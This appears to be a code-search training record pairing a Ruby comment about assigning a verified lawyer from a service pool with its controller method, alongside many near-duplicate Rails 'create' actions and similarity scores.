"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_student(school,new_student)\n new_student_hash = {}\n new_student_hash[:name] = new_student\n school[:students] << new_student_hash\nend",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_student(first_name, last_name, local_cohort)\n self.local_cohorts[local_cohort].students.push Student.new(first_name, last_name, local_cohort)\n puts \"#{first_name} #{last_name} has been added to the #{local_cohorts[local_cohort].name} #{self.name} cohort.\"\n end",
"def create\n @manage_student = Manage::Student.new(manage_student_params)\n\n respond_to do |format|\n if @manage_student.save\n format.html { redirect_to @manage_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @manage_student }\n else\n format.html { render :new }\n format.json { render json: @manage_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Estudiante ha sido satisfactoriamente creado.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_student(list, name, grade, semester)\n\tlist.push( {:name => name, :grade => grade, :semester => semester} )\nend",
"def create\n @thesis = Thesis.new(thesis_params)\n\n# this adds the thesis created to the logged-in user\n @student.theses << @thesis\n\n if @thesis.save\n redirect_to(theses_path, notice: \"The thesis #{@thesis.title} has been uploaded.\")\n else\n render \"new\"\n end\n end",
"def create_students\n Student.create!([{\n name: \"Rahul\"\n },\n {\n name: \"Monu\"\n },\n {\n name: \"Nitin\"\n },\n {\n name: \"Sahil\"\n },\n {\n name: \"Kirti\"\n },\n {\n name: \"Preet\"\n },\n {\n name: \"Divya\"\n },\n {\n name: \"Manoj\"\n },\n {\n name: \"Deepanshu\"\n },\n {\n name: \"Aslam\"\n },\n {\n name: \"Rishab\"\n }])\nend",
"def save\n if @id\n DB[:conn].execute(\"update students set name = ? where id = ?\", @name,@id)\n DB[:conn].execute(\"update students set grade = ? where id = ?\", @grade,@id)\n else\n DB[:conn].execute(\"insert into students (name,grade) values( ?,? )\",@name,@grade)\n @id=DB[:conn].execute(\"select last_insert_rowID() from students\")[0][0]\n end\n end",
"def create\n @student = Student.find(params[:student_id])\n @grade = @student.grades.new(grade_params)\n respond_to do |format|\n if @grade.save\n format.html { redirect_to student_grades_path, notice: 'Grade was successfully created.' }\n format.json { render :show, status: :created, location: @grade }\n else\n format.html { render :new }\n format.json { render json: @grade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n\t\t@student = Student.new\n\tend",
"def new\n\t\t@student = Student.new\n\tend"
] |
[
"0.7757175",
"0.7748057",
"0.7740852",
"0.77334636",
"0.7672202",
"0.74970347",
"0.7476617",
"0.74432087",
"0.7377253",
"0.73707134",
"0.7314871",
"0.72865343",
"0.72629625",
"0.72560984",
"0.72353905",
"0.7218461",
"0.7215268",
"0.719078",
"0.719078",
"0.7171747",
"0.7171506",
"0.71557033",
"0.7098025",
"0.7029382",
"0.70257956",
"0.70135695",
"0.69846237",
"0.6976879",
"0.6966969",
"0.69636416",
"0.6959272",
"0.69589514",
"0.69205666",
"0.69180787",
"0.6866138",
"0.6860873",
"0.68605524",
"0.6853673",
"0.6846939",
"0.6814617",
"0.68090296",
"0.6802725",
"0.6790192",
"0.67898554",
"0.6782096",
"0.6773885",
"0.67488897",
"0.6736814",
"0.6733289",
"0.672871",
"0.67262423",
"0.6709451",
"0.6709118",
"0.66978043",
"0.66795975",
"0.66702116",
"0.66620314",
"0.665527",
"0.66510814",
"0.66448915",
"0.6644353",
"0.6628006",
"0.66071",
"0.66039264",
"0.6598411",
"0.65898395",
"0.65842134",
"0.65821624",
"0.65687066",
"0.65674174",
"0.656543",
"0.656543",
"0.656543",
"0.656543",
"0.656543",
"0.656543",
"0.656543",
"0.656543",
"0.656543",
"0.656543",
"0.656543",
"0.6558244",
"0.6554436",
"0.65496784",
"0.65461105",
"0.6545597",
"0.65387416",
"0.6535779",
"0.6530106",
"0.65228546",
"0.65184575",
"0.6511386",
"0.6510825",
"0.6510825",
"0.6510825",
"0.6510825",
"0.6510825",
"0.6510825",
"0.6510825",
"0.6508114",
"0.6508114"
] |
0.0
|
-1
|
assiging lawyer to livian from central pool when lawyer is verified
|
def assign_lawyer
sp_session = current_service_provider_session
employee = Employee.find(params[:employee_id],:include=>[:user=>[:service_provider_employee_mappings]])
service_session = Physical::Liviaservices::ServiceSession.create(:employee_user_id =>employee.user.id,
:sp_session => sp_session,
:session_start => Time.now ,
:company_id => current_user.company_id)
session[:service_session] = service_session.id
assignment_user = employee.user
lawyer = assignment_user
lawyer.verified_lawyer
session[:verified_lawyer_id] = assignment_user.id
current_user.verified_lawyer_id_by_secretary = assignment_user.id
sp_id= employee.user.nil? ? "" : employee.user.service_provider_employee_mappings.blank? ? "" : employee.user.service_provider_employee_mappings.first.service_provider_id
redirect_to new_communication_path(:service_provider_id=>sp_id,:call_id=>params[:call_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def verified_lawyer #(userid)\n #$employee_id = userid\n $employee_id = self.id\n end",
"def show_lawyer\n end",
"def enroll_pur_user(params)\n $tracer.trace(\"LoyaltyEnrollmentServiceDSL: #{__method__}, Line: #{__LINE__}\")\n $tracer.report(\"Should #{__method__}.\")\n first_name = params['first_name']\n last_name = params['last_name']\n is_default_addr = params['is_default_addr']\n address_line1 = params['addr_line1']\n address_line2 = params['addr_line2']\n city = params['city']\n state = params['state']\n zip = params['postal_code']\n country = params['country']\n country_code = params['country_code']\n locale = params['locale']\n phone_number = params['phone_number']\n #birth_date = params['birth_date']\n month_range = %w(01 02 03 04 05 06 07 08 09 10 11 12).sample\n if month_range == \"02\"\n # Purposefully omitting leap years because they're stupid. Will add later.\n day_range = %w(01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28).sample\n elsif month_range == \"01\" || \"03\" || \"05\" || \"07\" || \"08\" || \"10\" || \"12\"\n day_range = %w(01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 31).sample\n else\n day_range = %w(01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30).sample\n end\n t = Time.now\n time_stamp = t.strftime(\"%FT%T.0000000-06:00\")\n time = t.strftime(\"%T\")\n date = t.strftime(\"%F\")\n\n birth_yr_range = Random.new.rand(1900..1996).to_s\n birth_date = \"#{birth_yr_range}-#{month_range}-#{day_range}T#{time}.0000000-06:00\"\n store_number = params['store_number']\n tier = params['pur_tier']\n new_flag = params['generate_user_name']\n\n if Config::CONFIG['target_os'] != \"darwin\"\n machine_name = Socket.gethostname\n else\n machine_name = \"d-con automation\"\n end\n\n db = DbManager.new(\"GV1HQQDB50SQL01.testgs.pvt\\\\INST01\", \"Membership\")\n\n # Sets flag to determine if auto generated card number exists\n card_exists = false\n @named = {\n :purfree => {:prefixes => ['3975'], :size => 13},\n :purpaid => {:prefixes => ['3976'], :size => 13}\n }\n # Loop to generate a non-existing loyalty card number\n while card_exists == false do\n\n if tier == '3876'\n cctype = \"purpaid\"\n\n elsif tier == '3875'\n cctype = \"purfree\"\n else\n $tracer.trace(\"No PUR Card Generated, please check that the tier is correct\")\n cctype = nil\n end\n membership_number = CreditCard.method_missing(\"#{cctype}\", @named)\n\n #Check if generated card number exists in MembershipCard db\n confirm_results = db.exec_sql(\"SELECT MembershipID FROM Membership.dbo.MembershipCard WHERE CardNumber = '\" + membership_number + \"';\")\n\n if confirm_results != nil\n $tracer.trace(\"Card number exists\")\n $tracer.trace(\"DB RESULTS: \" + confirm_results.at(0).MembershipID.to_s)\n card_exists = false\n elsif\n $tracer.trace(\"Card number does not exist\")\n card_exists = true\n end\n end\n\n $tracer.trace(\"Card number: \" + membership_number)\n\n # Generate a new email address\n (new_flag == true) ? email = auto_generate_username(nil, \"#{params['email_domain']}\", \"#{params['email_prefix']}\") : email = params['email']\n #email = auto_generate_username(nil, \"#{params['email_domain']}\", \"#{params['email_prefix']}\")\n $tracer.report(\"Email address: #{email}\")\n\n #Defines the service template to use\n pur_enrollment_request = self.get_request_from_template(LoyaltyMembershipServiceRequestTemplates::ENROLL_CUSTOMER_FOR_MEMBERSHIP)\n\n # Sets request values\n header = pur_enrollment_request.envelope.header.message_headers\n header.machine_name.content = machine_name\n\n key_value_pair_list = header.key_value_pairs.at(0)\n\n key_value_pair_list.key_value_pair.at(0).key.content = \"channeltype\"\n key_value_pair_list.key_value_pair.at(0).value.content = \"PointOfSale\"\n key_value_pair_list.key_value_pair.at(0).clone_as_sibling\n key_value_pair_list.key_value_pair.at(1).key.content = \"storenumber\"\n key_value_pair_list.key_value_pair.at(1).value.content = store_number\n\n header.culture_info.locale.content = locale\n header.culture_info.time_zone.content = \"true\"\n header.culture_info.country_code.content = country_code\n\n # Purposefully misspelled - do not correct\n header.secutiry_token.content = nil\n\n body = pur_enrollment_request.envelope.body.enroll_customer_for_membership_request.customer\n address_list = body.find_tag(\"addresses\").at(0)\n address_list.address.at(0).address_guid.content = nil\n address_list.address.at(0).address_id.remove_self\n address_list.address.at(0).address_line1.content = address_line1\n address_list.address.at(0).address_line2.content = address_line2\n address_list.address.at(0).address_line3.content = nil\n address_list.address.at(0).address_line4.content = nil\n #Address type HOME maps to MAILING\n address_list.address.at(0).address_type.content = \"Home\"\n address_list.address.at(0).city.content = city\n address_list.address.at(0).company_name.content = nil\n address_list.address.at(0).country.content = country\n address_list.address.at(0).county.content = nil\n address_list.address.at(0).first_name.content = first_name\n address_list.address.at(0).is_default.content = is_default_addr\n address_list.address.at(0).last_name.content = last_name\n address_list.address.at(0).postal_code.content = zip\n address_list.address.at(0).state_or_province.content = state\n\n body.date_of_birth.content = nil\n body.edge_card_discount_number.content = nil\n body.display_name.content = nil\n body.email_address.content = email\n body.email_opt_out.content = nil\n body.first_name.content = first_name\n body.gender.remove_self\n phones_list = body.find_tag(\"phones\").at(0)\n phones_list.phone.at(0).home_phone_number.content = phone_number\n phones_list.phone.at(0).mobile_phone_number.content = nil\n phones_list.phone.at(0).primary_phone.content = \"Home\"\n phones_list.phone.at(0).work_phone_number.content = nil\n body.home_store_number.remove_self # MAY NEED TO ADD BACK\n body.identifications.remove_self\n body.issued_user.content = nil\n body.last_name.content = last_name\n body.loyalty_info.valid_loyalty_membership.remove_self\n body.loyalty_info.card_status.remove_self\n body.loyalty_info.detailed_card_status.remove_self\n body.loyalty_info.detailed_membership_status.remove_self\n body.loyalty_info.end_date.remove_self\n body.loyalty_info.failed_login_attempts.remove_self\n body.loyalty_info.is_locked_out.content = \"false\"\n body.loyalty_info.login_time_stamp.content = \"#{date}T#{time}.0000000-06:00\"\n body.loyalty_info.loyalty_card_number.content = membership_number\n body.loyalty_info.membership_id.remove_self\n body.loyalty_info.membership_status.remove_self\n body.loyalty_info.online_account_status.remove_self\n body.loyalty_info.roles.remove_self\n body.loyalty_info.tier.content = tier\n\n body.loyalty_info.tier_expiration_date.content = \"#{t.strftime(\"%Y\").to_i + 1}-#{t.strftime(\"%m\")}-#{t.strftime(\"%d\")}T#{time}.0000000-06:00\"\n body.loyalty_info.tier_sign_up_date.content = \"#{date}T#{time}.0000000-06:00\"\n body.loyalty_info.total_power_up_savings.remove_self\n body.membership_ids.remove_self\n body.middle_name.content = nil\n body.prefix.content = nil\n body.race.remove_self\n body.suffix.content = nil\n body.title.content = nil\n body.user_name.content = nil\n body.customer_activities.content = nil\n body.valid_email_address.remove_self\n body.membership_type.remove_self\n\n # Formats the request in xml format\n $tracer.trace(pur_enrollment_request.formatted_xml)\n\n # Returns response from submitted request\n pur_enrollment_response = self.enroll_customer_for_membership(pur_enrollment_request.xml)\n # Validates response code is successful\n $tracer.trace(\"response: \" + pur_enrollment_response.code.to_s)\n pur_enrollment_response.code.should == 200\n $tracer.trace(pur_enrollment_response.http_body.formatted_xml)\n # Retrieves profile ID from the status message in the response\n status_result = pur_enrollment_response.http_body.find_tag(\"status\").at(0).content\n pur_profile_id = status_result.to_s[35, 44]\n $tracer.report(\"Profile ID for querying Membership Database: \" + pur_profile_id)\n # Validates in Membership db that the user is enrolled\n results = db.exec_sql(\"SELECT MembershipID, MembershipStatusID FROM Membership.dbo.Membership WHERE MembershipID IN (SELECT MembershipID FROM Profile.KeyMap.CustomerKey WHERE ProfileID = '\" + pur_profile_id + \"');\")\n $tracer.report(\"Customer Id, AKA Membership Id: \" + results.at(0).MembershipID.to_s)\n customer_id = results.at(0).MembershipID.to_s\n results.at(0).MembershipID.should > 0\n results.at(0).MembershipStatusID.should == 2\n $tracer.report(\"Enrolled email: \" + email)\n $tracer.report(\"Card Number: \" + membership_number)\n\n return email, membership_number, pur_profile_id, customer_id\n end",
"def verified_request?; end",
"def find_lawyer\n @lawyer = Lawyer.find(params[:id])\n end",
"def create\n @lawyer = Lawyer.new(lawyer_params)\n @lawyer.user_id = current_user.id\n @lawyer.save\n redirect_to cases_path\n end",
"def user_consenting; end",
"def lawyer_details(notes)\n @allowed_ids=[]\n lawyer = Employee.find_by_user_id(notes.assigned_by_employee_user_id, :include => [:company => :employees])\n lawyer.company.employees.each do |employee|\n @allowed_ids << employee.user_id\n end\n end",
"def user_verified=(_arg0); end",
"def free_user_verify(partner)\n go_to_referrals(partner) # referrals page, they have a free plan\n go_to_upgrade(partner) # this page takes them into phoenix\n go_to_devices(partner) # devices\n go_to_downloads(partner)\n go_to_stash(partner)\n go_to_acct(partner) # default is to load this page w/o a 'go to account' link\n end",
"def user_verified?; end",
"def pay_owner(rental)\n # make credit operation on balanced\n balanced.credit(rental)\n\n # account it on subledger\n subledger.credit(rental)\n end",
"def user_consenting?; end",
"def renewal_eligiblity_determination\n end",
"def paid_user_verify(partner)\n go_to_plan(partner) # my plan page\n go_to_devices(partner) # devices\n go_to_profile(partner) # profile page\n go_to_downloads(partner)\n go_to_stash(partner)\n go_to_acct(partner) # default is to load this page w/o a 'go to account' link\n end",
"def check_agreement\n if ([email protected]?)\n redirect_to(:action => :agreement)\n return false\n end\n end",
"def can_use_ill?\n !virginia_borrower?\n end",
"def sign_agreement_verify\n @is_verify = true\n @candidate = Candidate.find(params[:id])\n end",
"def user_verification?; end",
"def user_verification; end",
"def user_verified; end",
"def show_selected_lawyer\n if is_secretary? && is_lawyer_selected?\n return true\n end\n return false\n end",
"def proceed\n identity = identifier(current_account)\n if @site = current_account.sites.find_by_url(checkid_request.trust_root)\n resp = checkid_request.answer(true, nil, identity)\n resp = add_sreg(resp, @site.sreg_properties) if sreg_request\n resp = add_ax(resp, @site.ax_properties) if ax_fetch_request\n resp = add_pape(resp, auth_policies, auth_level, auth_time)\n render_response(resp)\n elsif checkid_request.immediate && (sreg_request || ax_store_request || ax_fetch_request)\n render_response(checkid_request.answer(false))\n elsif checkid_request.immediate\n render_response(checkid_request.answer(true, nil, identity))\n else\n redirect_to decide_path\n end\n end",
"def loan_request_notification(owner, requester, user_lacquer)\n @owner = owner\n @requester = requester\n @user_lacquer = user_lacquer\n @user_url = \"http://www.lacquerloveandlend.com/users/#{@owner.id}\"\n\n mail(to: @owner.email, subject: \"#{@requester.name} wants to borrow #{@user_lacquer.lacquer.name}\")\n\n headers['X-MC-Track'] = \"opens, clicks_all\"\n end",
"def verify_and_activate!\n self.verify! unless self.verified?\n \n # hack to make sure people who come in via yammer get their verified_at column\n # set properly\n self.update_column(:verified_at, Time.now) if self.verified_at.blank?\n\n #this used to be in signups controller and password resets controller\n #but moving to here, because we use this method in more spots\n #and i made management of perishable token manual(instead of authlogic handling it)\n #so be safe and reset it whenever we verify\n self.reset_perishable_token!\n \n #activate if all the info is good\n self.set_status!(:active) if self.ok_to_login?\n end",
"def user_consenting=(_arg0); end",
"def endorsement_certificate\n \n end",
"def verify\r\n self.verified = true\r\n end",
"def sign_agreement\n @is_verify = false\n @candidate = Candidate.find(params[:id])\n @resource = @candidate\n end",
"def correct_user\n @stakeholder = Stakeholder.find(params[:id])\n redirect_to(donations_path) unless current_user?(@stakeholder)\n end",
"def show \n authorize! :read, Carpool \n @expected_passengers = @carpool.late_passengers.active if params[:lpax]\n end",
"def whole_affil (new_party_affiliation)\n if new_party_affiliation == \"d\"\n \"Democrat\"\n else new_party_affiliation == \"r\"\n \"Republican\"\n end\n end",
"def verify\n if current_user.superadmin?\n @listing = Listing.find(params[:id])\n @listing.update(verification: true)\n flash[:notice] = \"Verified!!\"\n redirect_to listing_path(@listing)\n end\n end",
"def verification_link\n\n service_response = SimpleTokenApi::Request::User.new(\n host_url_with_protocol,\n request.cookies,\n {\"User-Agent\" => http_user_agent}).basic_detail(GlobalConstant::TemplateType.verification_template_type)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n redirect_to \"/login\", status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.has_sale_ended?\n\n @user = service_response.data[\"user\"]\n redirect_if_step_not_reachable(@user[\"user_token_sale_state\"], GlobalConstant::TokenSaleUserState.verification_page_allowed_states)\n return if has_performed?\n\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end",
"def decide\n @site = current_account.sites.find_or_initialize_by_url(checkid_request.trust_root)\n @site.persona = current_account.personas.find(params[:persona_id] || :first) if sreg_request || ax_store_request || ax_fetch_request\n end",
"def franchisee_royalty_pay_slip\n \n end",
"def verify_details_submitted_from_agent_following_lead\n if user_valid_for_viewing?(['Vendor'], params[:udprn].to_i)\n verified = params[:verified] == 'true' ? true : false\n vendor_id = @current_user.id\n agent_id = params[:agent_id].to_i\n if verified\n PropertyService.new(params[:udprn].to_i).attach_assigned_agent(agent_id)\n render json: { message: 'The agent has been chosen as your assigned agent' }, status: 200\n else\n ### TODO: Report to the admin\n render json: { message: 'The incident will reported to admin' }, status: 400\n end\n else\n render json: { message: 'Authorization failed' }, status: 401\n end\n end",
"def authorize_librarians\n redirect_to '/librarians/denied' unless current_user && current_user.librarian\n end",
"def verify!\n raise \"Payment details not active anymore\" if active == false\n end",
"def trust!\n MTurkUtils.trust_user self\n end",
"def in_law; end",
"def verify\n end",
"def verify(candy, claiming_user_id)\n bcc = BrainCandyCompletion.find_by_brain_candy_id_and_user_id(candy.id, claiming_user_id)\n bcc.update_column :verifying_user_id, self.id\n end",
"def user_verification=(_arg0); end",
"def login_verify(partner)\n user_banner.visible?.eql?(partner.admin_info.email)\n if partner.base_plan.eql?(\"free\")\n free_user_verify(partner)\n else\n paid_user_verify(partner)\n end\n end",
"def set_loan\n @loan ||= Loan.find(params[:loan_id] || params[:id])\n @borrower_type ||= :borrower\n\n if @loan.blank?\n @loan = current_user.borrower.loan # or get the co-borrower relationship\n\n if @loan.present?\n @borrower_type = :secondary_borrower\n else\n @loan = InitializeFirstLoanService.new(current_user).call\n end\n end\n # use pundit to authorize user. check LoanPolicy\n authorize @loan, :update?\n end",
"def verify_primary_account_holder\n redirect_to dashboard_path and return\n end",
"def can_afford_insurance\n return 1 if (@bet / 2) <= @bankroll\n return nil\n end",
"def agree\n stage = Stage.find(params[:id])\n user = StageUser.find(:first, :conditions => [\"asset_user_id = ? AND stage_id =?\", current_user.id, stage.id])\n user.has_agreed_to_contract = true\n if user.save\n redirect_to asset_manager_stage_path(stage)\n else\n redirect_to contract_asset_manager_stage_path(stage)\n end\n end",
"def landlord_confirmation(landlord)\n @landlord = landlord\n mail to: landlord.email, subject: \"Welcome to Found!\", bcc: \"[email protected]; [email protected]\"\n end",
"def authenticate_donor?(donor)\n current_donor.id == donor.id \n end",
"def check_house\n redirect_to houses_path, alert: \"You do not have access to this house.\" unless current_user.admin or current_user.house_id == @resident.house_id\n end",
"def set_lawyer_city\n @lawyer_city = LawyerCity.find(params[:id])\n end",
"def validate_allows_response\n if self.kase\n # self.errors.add(:kase, \"is %{status}\".t % {:status => self.kase.current_state_t}) unless self.kase.active?\n # self.errors.add(:kase, \"is not open\".t) unless self.kase.open?\n \n if self.person \n if self.kase.offers_reward?\n\n # only disallow rewarded self answers\n self.errors.add(:base, \"You cannot respond to your own rewarded %{type}\".t % {:type => self.kase.class.human_name}) unless self.person != self.kase.person\n\n end\n end\n end\n end",
"def allows_clarification_response?(a_person)\n self.alive? && self.pending_clarification_requests?\n end",
"def user_approved(liga_user)\n @league = liga_user.league\n @user = liga_user.user\n\n @subject = \"[#{SITE_NAME}] You are now a member of #{@league.display_name}\"\n mail(to: DEFAULT_FROM_ADDRESS, bcc: @user.email, subject: @subject)\n end",
"def ensure_at_williams\n forbidden \"You are not logged in as a current student or faculty/staff member.\" unless at_williams?\n end",
"def allows_clarification_response?(a_person)\n self.active? && a_person == self.person && self.pending_clarification_requests?\n end",
"def issuer\n plan && plan.issuer\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n authorize @loan\n end",
"def denial(user, company, affiliation)\n @subject = \"Unable to authorize #{user.name} to trade at Foodmoves.com\"\n @body = {:user => user,\n :company => company,\n :affiliation => affiliation}\n @recipients = user.email\n @bcc = @@bcc\n @from = 'Foodmoves Support <[email protected]>'\n @sent_on = Time.now\n end",
"def verified?\n true\n end",
"def northern_irish_driving_licence; end",
"def belongs_to_landlord\n maintenance_request = MaintenanceRequest.find_by(id:params[:id])\n \n if current_user\n if current_user.landlord.id == maintenance_request.property.landlord_id\n #do nothing\n else \n flash[:danger] = \"Sorry you are not allowed to see that. Please log into your own account thank you.\"\n redirect_to root_path\n end \n end \n end",
"def test_19_createofflinedonations_verifythermometer()\n\t\t\n\t\tputs \"---------------------- START OF SCENARIO 19 ----------------------\"\n\t\tcreateOfflineDonation($offline_donorname, $offline_donoremail, $offline_donoramount)\n\t\tlogout()\n\t\tputs \"---------------------- END OF SCENARIO 19 ----------------------\"\n\t\n\tend",
"def viable_organ_donors\n\nend",
"def agree_to_copyright\n # Check whether user agreed to our terms/conditions\n if params[:agree_to_copyright]\n session[:agree_to_copyright] = true\n # Check whether or not UVa user and redirect as appropriate\n if params[:is_uva]\n if params[:is_uva] == 'yes'\n redirect_to uva_requests_url\n else\n redirect_to public_requests_url\n end\n else\n redirect_to requests_path, :notice => 'You must indicate whether or not you are affiliated with U.Va. to continue.'\n end\n else\n redirect_to requests_path, :notice => 'You must agree to the terms and conditions to continue.'\n end\n end",
"def maintain_affiliates\n values = {\n 'aff_opts' => Affiliate.options,\n 'aff_id' => -1,\n 'form_url' => url(:handle_maintain),\n }\n\n standard_page(\"Maintain Affiliates\", values, MAINTAIN_AFFILIATES)\n end",
"def enter_person_auth_data(test_data)\n enter_terms(test_data)\n enter_nationality(test_data)\n end",
"def verified_answer(user_response, list_of_responses)\n if list_of_responses.include? user_response\n user_response\n else\n invalid_return_mm\n end\n end",
"def company_bought(company, buyer); end",
"def trustors(selected_user)\n other_trustors(selected_user) << selected_user.id\n end",
"def political_affiliation(voter_name)\n puts \"Which party does #{voter_name} belong to? Type letter in parenthesis.\"\n puts \"(l)iberal (c)onservative (t)ea party (s)ocialist (n)eutral\"\n\n @voters_list = []\n\n political_affiliation = gets.chomp.downcase\n\n case political_affiliation\n\n when \"l\"\n @voter = Voter.new(voter_name, political_affiliation)\n @voters_list << @voter\n\n when \"c\"\n @voter = Voter.new(voter_name, political_affiliation)\n @voters_list << @voter\n\n when \"t\"\n @voter = Voter.new(voter_name, political_affiliation)\n @voters_list << @voter\n\n when \"s\"\n @voter = Voter.new(voter_name, political_affiliation)\n @voters_list << @voter\n\n when \"n\"\n @voter = Voter.new(voter_name, political_affiliation)\n @voters_list << @voter\n\n else\n political_affiliation(voter_name)\n end\n prompt_user_for_initial_choices\n end",
"def fetch_details_from_linkedin\n\t\t# To Do\n\t\tself.user.has_linkedin = true\n\t\tself.user.save\n\tend",
